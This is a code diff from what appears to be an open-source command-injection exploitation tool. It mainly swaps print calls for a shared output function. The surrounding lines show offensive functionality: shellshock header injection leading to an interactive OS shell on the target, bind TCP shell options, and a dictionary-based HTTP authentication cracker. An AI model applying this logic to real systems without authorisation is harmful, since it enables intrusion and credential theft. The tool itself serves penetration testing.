@@ def check_internet(url): settings.CHECK_INTERNET = True settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url) info_msg = "Checking for internet connection." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) try: request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET) headers.do_check(request) examine_request(request, url) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) """ The init (URL) request. @@ -190,7 +190,7 @@ def init_request(url, http_request_method): # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout # Define HTTP headers @@ -207,12 +207,12 @@ def init_request(url, http_request_method): # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : debug_msg = "Setting the HTTP authentication type and credentials." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.proxy: proxy.do_check() if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method) # Check connection(s) checks.check_connection(url) @@ -234,7 +234,7 @@ def url_response(url, http_request_method): settings.CHECK_INTERNET = False if settings.INIT_TEST == True: info_msg = "Testing connection to the target URL. " - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) response = examine_request(request, url) # Check for URL redirection if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: @@ -256,7 +256,7 @@ def url_response(url, http_request_method): def init_injection(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Initializing the knowledge base." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Initiate heuristic checks. if not settings.FOLLOW_REDIRECT: settings.FOLLOW_REDIRECT = True @@ -288,7 +288,7 @@ def stdin_parsing_target(os_checks_num): _ = [] if os_checks_num == 0: info_msg = "Using 'stdin' for parsing targets list." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.batch = True settings.MULTI_TARGETS = True for url in sys.stdin: @@ -314,7 +314,7 @@ def main(filename, url, http_request_method): if menu.options.alert: if menu.options.alert.startswith('-'): err_msg = "Value for option '--alert' must be valid operating system command(s)." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) else: settings.ALERT = True @@ -361,7 +361,7 @@ def main(filename, url, http_request_method): else: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.test_parameter and menu.options.skip_parameter: @@ -370,7 +370,7 @@ def main(filename, url, http_request_method): else: err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit if menu.options.ignore_session: @@ -412,7 +412,7 @@ def main(filename, url, http_request_method): if settings.USER_SUPPLIED_TECHNIQUE: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit else: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) @@ -421,7 +421,7 @@ def main(filename, url, http_request_method): menu.options.tech = menu.options.tech.replace(skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit # Check if specified wrong injection technique @@ -454,7 +454,7 @@ def main(filename, url, http_request_method): err_msg += "' must be a string composed by the letters " err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper() err_msg += ". Refer to the official wiki for details." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not menu.options.tech: @@ -466,12 +466,12 @@ def main(filename, url, http_request_method): if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--url" or "-m" option. @@ -499,14 +499,14 @@ def main(filename, url, http_request_method): try: _urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(str(err_msg.code))) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.code))) raise SystemExit() except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.reason) + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() try: info_msg = "Performing identification (passive) tests to the target URL." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) # Procedure for target server identification. @@ -541,7 +541,7 @@ def main(filename, url, http_request_method): else: err_msg = "You must specify the target URL." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Retrieve everything from the supported enumeration options. @@ -553,10 +553,10 @@ def main(filename, url, http_request_method): # Accidental stop / restart of the target host server. except (_http_client.BadStatusLine, SocketError) as err_msg: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) try: @@ -568,7 +568,7 @@ def main(filename, url, http_request_method): raise SystemExit() # Print the legal disclaimer msg. - print(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) + settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) # Get total number of days from last update if os.path.isfile(settings.SETTINGS_PATH): @@ -579,20 +579,20 @@ def main(filename, url, http_request_method): if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Define the level of verbosity. if menu.options.verbose > 4: err_msg = "The value for option '-v' " err_msg += "must be an integer value from range [0, 4]." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: settings.VERBOSITY_LEVEL = menu.options.verbose if settings.VERBOSITY_LEVEL != 0: - print(settings.execution("Starting")) + settings.print_data_to_stdout(settings.execution("Starting")) if menu.options.smoke_test: smoke_test() @@ -644,7 +644,7 @@ def main(filename, url, http_request_method): if not menu.options.purge: err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " err_msg += "Use -h for help." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.codec: @@ -652,14 +652,14 @@ def main(filename, url, http_request_method): err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: settings.DEFAULT_CODEC = menu.options.codec.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: warn_msg = "Due to multiple provided HTTP headers, swithing '--header' to '--headers'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.method: settings.HTTP_METHOD = menu.options.method @@ -671,12 +671,12 @@ def main(filename, url, http_request_method): if menu.options.proxy: if menu.options.tor: err_msg = "The switch '--tor' is incompatible with option '--proxy'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.ignore_proxy: err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): @@ -688,7 +688,7 @@ def main(filename, url, http_request_method): break else: err_msg = "Proxy value must be in format '(http|https)://address:port'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not menu.options.proxy: @@ -703,30 +703,30 @@ def main(filename, url, http_request_method): if menu.options.ignore_session and menu.options.flush_session: err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.failed_tries == 0: err_msg = "You must specify '--failed-tries' value, greater than zero." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--auth-cred" and/or '--auth-type'. if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): err_msg = "You must specify both '--auth-cred' and '--auth-type' options." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() if menu.options.requestfile and menu.options.url: err_msg = "The '-r' option is incompatible with option '-u' ('--url')." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check the user-defined OS. @@ -736,7 +736,7 @@ def main(filename, url, http_request_method): # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of '--tor' switch." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--abort-code" option. @@ -745,7 +745,7 @@ def main(filename, url, http_request_method): settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)] except ValueError: err_msg = "The option '--abort-code' should contain a list of integer values." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--ignore-code" option. @@ -754,17 +754,17 @@ def main(filename, url, http_request_method): settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) except ValueError: err_msg = "The option '--ignore-code' should contain a list of integer values." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--wizard" option. if menu.options.wizard: message = "Enter full target URL (-u) > " if menu.options.url: - print(settings.print_message(message + str(menu.options.url))) + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) elif not menu.options.url and not settings.STDIN_PARSING: while True: message = "Enter full target URL (-u) > " @@ -775,7 +775,7 @@ def main(filename, url, http_request_method): break message = "Enter POST data (--data) [Enter for none] > " if settings.STDIN_PARSING or menu.options.data: - print(settings.print_message(message + str(menu.options.data))) + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data))) else: menu.options.data = common.read_input(message, default=None, check_batch=True) if menu.options.data is not None and len(menu.options.data) == 0: @@ -783,7 +783,7 @@ def main(filename, url, http_request_method): while True: message = "Enter injection level (--level) [1-3, Default: 1] > " if settings.STDIN_PARSING: - print(settings.print_message(message + str(menu.options.level))) + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.level))) break try: menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) @@ -806,7 +806,7 @@ def main(filename, url, http_request_method): settings.TIMESEC = settings.TIMESEC * 2 warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Local IP address if not menu.options.offline: @@ -823,19 +823,19 @@ def main(filename, url, http_request_method): if menu.options.crawl_exclude: if not settings.CRAWLING: err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: re.compile(menu.options.crawl_exclude) except Exception as e: err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check arguments if len(sys.argv) == 1 and not settings.STDIN_PARSING: menu.parser.print_help() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() else: # Check for INJECT_HERE tag. @@ -859,7 +859,7 @@ def main(filename, url, http_request_method): # Parse target and data from HTTP proxy logs (i.e Burp / WebScarab). if menu.options.requestfile and menu.options.logfile: err_msg = "The '-r' option is unlikely to work combined with the '-l' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() @@ -900,23 +900,20 @@ def main(filename, url, http_request_method): bulkfile = menu.options.bulkfile if os_checks_num == 0: info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not os.path.exists(bulkfile): - print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() elif os.stat(bulkfile).st_size == 0: - print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() else: settings.MULTI_TARGETS = True - print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f] @@ -956,7 +953,7 @@ def main(filename, url, http_request_method): if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: if check_for_injected_url(url): @@ -980,7 +977,7 @@ def main(filename, url, http_request_method): if settings.SKIP_VULNERABLE_HOST: url_num += 1 info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: if not check_for_injected_url(url): @@ -990,7 +987,7 @@ def main(filename, url, http_request_method): url_num += 1 perform_check = True while True: - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: @@ -1024,7 +1021,7 @@ def main(filename, url, http_request_method): pass else: url_num += 1 - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url)) + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url)) if url_num == len(clean_output_href): raise SystemExit() @@ -1034,12 +1031,12 @@ def main(filename, url, http_request_method): checks.user_aborted(filename, url) except NameError: abort_msg = "User quit (Ctrl-C was pressed)." - print(settings.print_abort_msg(abort_msg)) + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) raise checks.exit() except EOFError: err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise checks.exit() except SystemExit: diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 6a8c052b41..e484ac1b34 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -33,6 +33,6 @@ def load_modules(url, http_request_method, filename): # The shellshock handler shellshock.shellshock_handler(url, http_request_method, filename) except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) raise SystemExit() raise SystemExit() \ No newline at end of file diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 162e22a1a8..2006367340 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -189,7 +189,7 @@ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Configure the bind TCP shell @@ -268,7 +268,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r # The "os_shell" option elif os_shell_option == "os_shell": warn_msg = "You are into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return go_back, go_back_again # The "bind_tcp" option @@ -312,7 +312,7 @@ def shellshock_handler(url, http_request_method, filename): # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == settings.COOKIE: @@ -342,8 +342,8 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR +settings.print_info_msg(info_msg)) + if no_result == False: # Check injection state @@ -367,9 +367,9 @@ def shellshock_handler(url, http_request_method, filename): # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(payload)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_sub_content(payload)) # Enumeration options. if settings.ENUMERATION_DONE: @@ -429,13 +429,13 @@ def shellshock_handler(url, http_request_method, filename): else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR +settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -454,19 +454,19 @@ def shellshock_handler(url, http_request_method, filename): if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.command_execution_output(shell)) + settings.print_data_to_stdout(settings.command_execution_output(shell)) else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: - print(settings.print_debug_msg(debug_msg)) - sys.stdout.write(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -486,14 +486,14 @@ def shellshock_handler(url, http_request_method, filename): break except (KeyboardInterrupt, SystemExit): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise except TypeError: @@ -501,9 +501,9 @@ def shellshock_handler(url, http_request_method, filename): if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: logs.logs_notification(filename) @@ -513,8 +513,8 @@ def shellshock_handler(url, http_request_method, filename): response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True @@ -525,12 +525,12 @@ def shellshock_handler(url, http_request_method, filename): err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: - print(settings.print_critical_msg(err_msg + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ".")) raise SystemExit() """ @@ -548,11 +548,11 @@ def check_for_shell(url, cmd, cve, check_header, filename): payload = shellshock_exploitation(cve, cmd) debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) @@ -573,8 +573,8 @@ def check_for_shell(url, cmd, cve, check_header, filename): return shell, payload except _urllib.error.URLError as err_msg: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() shell, payload = check_for_shell(url, cmd, cve, check_header, filename) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 7bfd54d503..f66c4d158a 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -53,7 +53,7 @@ def authentication_process(http_request_method): if settings.VERBOSITY_LEVEL != 0: info_msg = "The received cookie is " info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. @@ -77,7 +77,7 @@ def define_wordlists(): username_txt_file = settings.USERNAMES_TXT_FILE passwords_txt_file = settings.PASSWORDS_TXT_FILE info_msg = "Setting default wordlists for dictionary-based attack." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break elif do_update in settings.CHOICE_NO: message = "Please enter usernames wordlist > " @@ -95,14 +95,14 @@ def define_wordlists(): usernames = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing usernames wordlist '" + username_txt_file + "'." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not os.path.isfile(username_txt_file): err_msg = "The specified file '" + str(username_txt_file) + "' does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(username_txt_file) == 0: err_msg = "The specified file '" + str(username_txt_file) + "' seems empty." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() with open(username_txt_file, "r") as f: for line in f: @@ -110,21 +110,21 @@ def define_wordlists(): usernames.append(line) except IOError: err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: passwords = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing passwords wordlist '" + passwords_txt_file + "'." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not os.path.isfile(passwords_txt_file): err_msg = "The specified file '" + str(passwords_txt_file) + "' does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(passwords_txt_file) == 0: err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() with open(passwords_txt_file, "r") as f: for line in f: @@ -132,7 +132,7 @@ def define_wordlists(): passwords.append(line) except IOError: err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return usernames, passwords @@ -156,10 +156,10 @@ def http_auth_cracker(url, realm, http_request_method): if settings.VERBOSITY_LEVEL != 0: payload = "'" + username + ":" + password + "'" if settings.VERBOSITY_LEVEL >= 2: - print(settings.print_checking_msg(payload)) + settings.print_data_to_stdout(settings.print_checking_msg(payload)) else: - sys.stdout.write("\r" + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) + try: # Basic authentication if authentication_type.lower() == settings.AUTH_TYPE.BASIC: @@ -198,22 +198,22 @@ def http_auth_cracker(url, realm, http_request_method): if settings.VERBOSITY_LEVEL == 0: info_msg = "Checking for valid pair of HTTP authentication credentials." info_msg += float_percent - sys.stdout.write("\r\r" + 